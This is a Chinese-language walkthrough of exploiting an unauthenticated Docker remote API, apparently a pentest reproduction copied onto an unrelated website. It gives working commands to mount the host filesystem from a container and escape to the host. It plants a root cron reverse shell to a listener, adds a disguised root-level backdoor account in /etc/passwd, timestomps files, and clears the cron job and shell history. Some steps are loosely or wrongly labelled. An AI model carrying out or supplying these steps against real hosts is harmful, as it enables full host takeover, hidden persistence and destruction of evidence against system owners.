docker未授权rce+docker逃逸复现 |
您所在的位置:网站首页 › 未授权访问漏洞是什么意思 › docker未授权rce+docker逃逸复现 |
docker未授权rce+docker逃逸复现
前言:这段时间跟着bnessy师傅一起打内网,跟着bnessy师傅也学到了很多有用的姿势,这里就来复现几个内网的漏洞(大佬轻喷) 1、老规矩,还是fscan扫到的漏洞
通过访问:http://xxxx:2375/version 如果能够访问,则漏洞存在 1.2访问:http://xxxx:2375/info 发现存在未授权页面 2、在kali上安装docker,可以获取目标机正在运行的docker镜像文件 命令如下 docker -H tcp://目标机ip:2375 images![]() 3、随便选一个目标机器有的容器,以/bin/bash的方式进入该容器 命令如下: /:/mnt:意思是将目标机的根目录挂载到该容器的/mnt目录下,所以我们要查询目标机的文件的话,最前面应该跟个/mnt的目录, #如要查询目标机的passwd,则目录为:/mnt/etc/passwd docker -H tcp://目标机ip:2375 run -it -v /:/mnt 镜像id /bin/bash![]() 3.1、进入/mnt目录下即可逃逸到宿主机 ![]() 4、利用计划任务,写反弹shell
命令如下: echo '* * * * * /bin/bash -i >& /dev/tcp/目标机ip/监听端口 0>&1' >> /mnt/var/spool/cron/root注意:在centos中,计划任务的默认路径是:/var/spool/cron/ 但在ubuntu系统中,计划任务默认是:/var/spool/cron/crontabs/ /mnt/var/spool/cron/root 这里的root是指计划任务以什么用户去执行,这里用root,反弹回来的shell也是root权限 这里shell反弹回来大概要等一分钟左右 ![]() 5、权限维持 该系统为linux,所以权限维持的思路如下: 查看当前有哪些用户,新建个类似的用户名进行混淆
步骤如下: 修改/etc/passwd 增加game用户 5.1查看/etc/passwd,将root这一行先copy出来 /etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL root:x:0:0:root:/root:/bin/bash 5.2使用perl -le 'print crypt("Jilei","salt")'生成一个密码,Jilei为密码: perl -le 'print crypt("Jilei","salt")'这里我用的xiaosedi为密码
![]()
touch -r /etc/shadow /etc/passwd ![]()
将我们的定时任务给清除掉
清除历史命令 history -c |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |